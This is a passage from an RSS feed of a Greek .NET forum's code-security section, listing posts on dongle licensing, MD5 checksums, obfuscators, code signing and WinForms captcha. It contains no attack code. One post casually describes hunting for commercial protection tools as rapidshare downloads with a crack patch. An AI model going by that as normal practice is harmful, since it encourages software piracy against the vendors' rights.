αν χρειάζεται) η παραμετροποίησή μέσα απο vb.net 2008. Παραδείγματα κώδικα?&lt;/LI&gt;&lt;LI&gt;μπορει να "σπασει" (hack)?&lt;/LI&gt;&lt;LI&gt;πόσο κοστίζει?&lt;img src="http://www.dotnetzone.gr/cs/emoticons/emotion-38.gif" alt="Moon" /&gt; &lt;/LI&gt;&lt;LI&gt;Κάθε πότε κάνει τον έλεγχο? Δεν θέλω να τον κάνει μόνο στην αρχή και μετά να μπορεί να βγει και να χρησιμοποιηθεί και σε άλλο μηχάνημα.&lt;/LI&gt;&lt;LI&gt;Πόσο εύκολα αν χαλάσει μπορεί να αντικατασταθεί χωρείς να πρεπει να αλλάξω κώδικα η κατι αλλο στον πελατη, απλά να του ταχυδρομώ το νεο usb hasp.&lt;/LI&gt;&lt;/OL&gt;&lt;P&gt;σας ευχαριστώ πολύ εκ των προτέρων.&lt;BR&gt;&lt;/P&gt;</description></item><item><title>Επίθεση!!! XSS, SQL Inject it!</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/47156.aspx</link><pubDate>Fri, 26 Dec 2008 08:10:12 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:47156</guid><dc:creator>Παπαδημητρίου Γεώργιος</dc:creator><slash:comments>1</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/47156.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=47156</wfw:commentRss><description>Το μήνυμα αφαιρέθηκε για τους λόγους που ανέφερε ο φίλος thiseas</description></item><item><title>Message-Digest algorithm 5</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/47763.aspx</link><pubDate>Tue, 20 Jan 2009 19:57:27 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:47763</guid><dc:creator>Παπαδημητρίου Γεώργιος</dc:creator><slash:comments>2</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/47763.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=47763</wfw:commentRss><description>&lt;P&gt;Hello dotNetZones!&lt;BR&gt;&lt;BR&gt;Σε αρκετές σελίδες&amp;nbsp;έχω δει MD5 hash&amp;nbsp;ως κείμενο,&amp;nbsp;δίπλα από το link για το download ενός αρχείου.&lt;BR&gt;&lt;BR&gt;Η ερώτηση μου είναι εαν χρησιμοποιείται&amp;nbsp;αυτό πουθενά.&lt;BR&gt;&lt;BR&gt;Υπάρχει build-in έλεγχος του MD5, πχ στα windows,&amp;nbsp;κατά το&amp;nbsp;download του αρχείου?&lt;BR&gt;Υπάρχει έλεγχος του MD5 από οποιονδήποτε download manager?&lt;/P&gt;
&lt;P&gt;Γιατί έχω την εντύπωση ότι πρόκειται περί φρου - φρου και αρώματος?&lt;/P&gt;</description></item><item><title>DO NOT Decompile it</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/47569.aspx</link><pubDate>Mon, 12 Jan 2009 01:43:56 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:47569</guid><dc:creator>Παπαδημητρίου Γεώργιος</dc:creator><slash:comments>0</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/47569.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=47569</wfw:commentRss><description>Ακολουθώντας τα βήματα σχετικού post Code security &lt;SPAN id=ctl00_ctl01_bcr_ctl00___ForumName&gt;&lt;A href="http://www.dotnetzone.gr/cs/forums/thread/47502.aspx"&gt;Hand-Made Digital Signing vs Commercial Signing&lt;/A&gt;&amp;nbsp;φτάσαμε και στην απόφαση&lt;BR&gt;δημιουργίας&amp;nbsp;ενός επιπλέον τοίχους προστασίας. Οι υποψήφιοι?&lt;/SPAN&gt;&lt;BR&gt;&lt;BR&gt;1. Dotfuscator Professional Edition for .NET 4.2.5&lt;BR&gt;2. CodeVeil 1.3&lt;BR&gt;3. Salamander .NET Protector 2.2.0 &lt;BR&gt;4. .NET Reactor 3.9.8.0&lt;BR&gt;&lt;BR&gt;Μετά από αρκετό ψάξιμο και σε σχετικά post στο&amp;nbsp;dotnetzone&amp;nbsp;και γενικότερα...&lt;BR&gt;&lt;BR&gt;CodeVeil 1.3&amp;nbsp;&lt;BR&gt;...το βρήκα σε rapidshare link (δεν μπόρεσα να το κατεβάσω -&amp;nbsp;broken link)&lt;BR&gt;&lt;BR&gt;Salamander&amp;nbsp;.NET Protector &lt;BR&gt;...βρήκα&amp;nbsp;το&amp;nbsp;&lt;U&gt;Salamander .NET Linker&lt;/U&gt; σε rapidshare link (φαντάζομαι ότι το κλέιδωμα έγινε με το .NET Protector)&amp;nbsp;&lt;BR&gt;&lt;BR&gt;.ΝΕΤ Reactor &lt;BR&gt;...υποφέρει από support (τουλάχιστον δεν το βρήκα σε rapishare μαζί με το patch του!)&lt;BR&gt;&lt;BR&gt;Ναι γνωρίζω ότι το θέμα έχει τεθεί με διαφορετικούς ίσως τίτλους ανα καιρό, όμως &lt;U&gt;ουσιαστική απάντηση&lt;/U&gt; πιστεύω ότι δεν έχει δωθεί&lt;BR&gt;Ποιός από τους ανωτέρω υποψηφίους έχει τα λιγότερα ελαττώματα?&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;</description></item><item><title>Hand-Made Digital Signing vs Commercial Signing</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/47502.aspx</link><pubDate>Thu, 08 Jan 2009 20:27:02 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:47502</guid><dc:creator>Παπαδημητρίου Γεώργιος</dc:creator><slash:comments>1</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/47502.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=47502</wfw:commentRss><description>&lt;P&gt;Ήρθε η στιγμή να κάνουμε publish μία εφαρμογή στο Ιντερνετ. Ωραία και τι γίνεται?&lt;BR&gt;Τι τύπου πιστοποιητικό θα χρησιμοποιήσουμε για την υπογραφή των assemblies και λοιπών...?&lt;BR&gt;&lt;BR&gt;Ένα που θα το δημιουργήσουμε εμείς, τζάμπα, μέχρι&amp;nbsp;ο θεός ξέρει πότε,&lt;BR&gt;ή θα πληρώρουμε 300+ κάθε χρόνο για έκδοση πιστοποιητικού σε γνωστή εταιρία?&amp;nbsp;&lt;BR&gt;&lt;BR&gt;1) Ποια είναι η διαφορά τους στο αποτέλεσμα?&lt;BR&gt;&lt;BR&gt;Στο ότι ο χρήστης κατά την&amp;nbsp;εγκατάσταση της εφαρμογής, &lt;BR&gt;θα βλέπει εάν το πιστοποιητικό είναι MadeBy George ή MadeΒy xxxxxxxxxx&lt;/P&gt;</description></item><item><title>Licensing σύστημα</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/2032.aspx</link><pubDate>Wed, 18 May 2005 17:59:27 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:2032</guid><dc:creator>axaros</dc:creator><slash:comments>47</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/2032.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=2032</wfw:commentRss><description>&lt;p&gt;Γεια χαρά σε όλους !!!!&lt;br /&gt;Ψάχνω για κάποιο licensing εργαλείο για .NET επειδή έχει τρομάξει το μάτι μου με τους decompilers.&lt;br /&gt;&lt;br /&gt;Έχω βρει το &lt;span class="navbold"&gt;&lt;a target="_blank" title="http://www.desaware.com/products/licensingsystem/index.aspx" href="http://www.desaware.com/products/licensingsystem/index.aspx"&gt;&lt;u&gt;&lt;font color="#800080"&gt;Licensing System&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&amp;nbsp;της Desaware ... &lt;br /&gt;Άλλες καλές επιλογές κατά τη γνώμη σας ;&lt;br /&gt;&lt;br /&gt;Ίσως ακούγεται απλοϊκό, αλλά πως προστατεύω τον κώδικα μου από ένα Ghost image;&lt;br /&gt;&lt;br /&gt;Ζητώ τα φώτα σας συνάδελφοι !!!!!&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Captcha σε winforms?</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/46954.aspx</link><pubDate>Thu, 18 Dec 2008 03:40:57 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:46954</guid><dc:creator>Παπαδημητρίου Γεώργιος</dc:creator><slash:comments>1</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/46954.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=46954</wfw:commentRss><description>&lt;P&gt;Γεια χαρά,&lt;/P&gt;
&lt;P&gt;θα ήθελα τη γνώμη σας για προσθήκη ή όχι&amp;nbsp;captcha σε winForm εφαρμογή. &lt;BR&gt;Ναι πολύ καλά διαβάσατε, σε winForm οχι ASP.&lt;BR&gt;&lt;BR&gt;Μήπως είναι&amp;nbsp;too much for nothing?&lt;BR&gt;&lt;BR&gt;(Η εγκατάσταση της εφαρμογής θα γίνεται via clickonce).&lt;/P&gt;</description></item></channel></rss>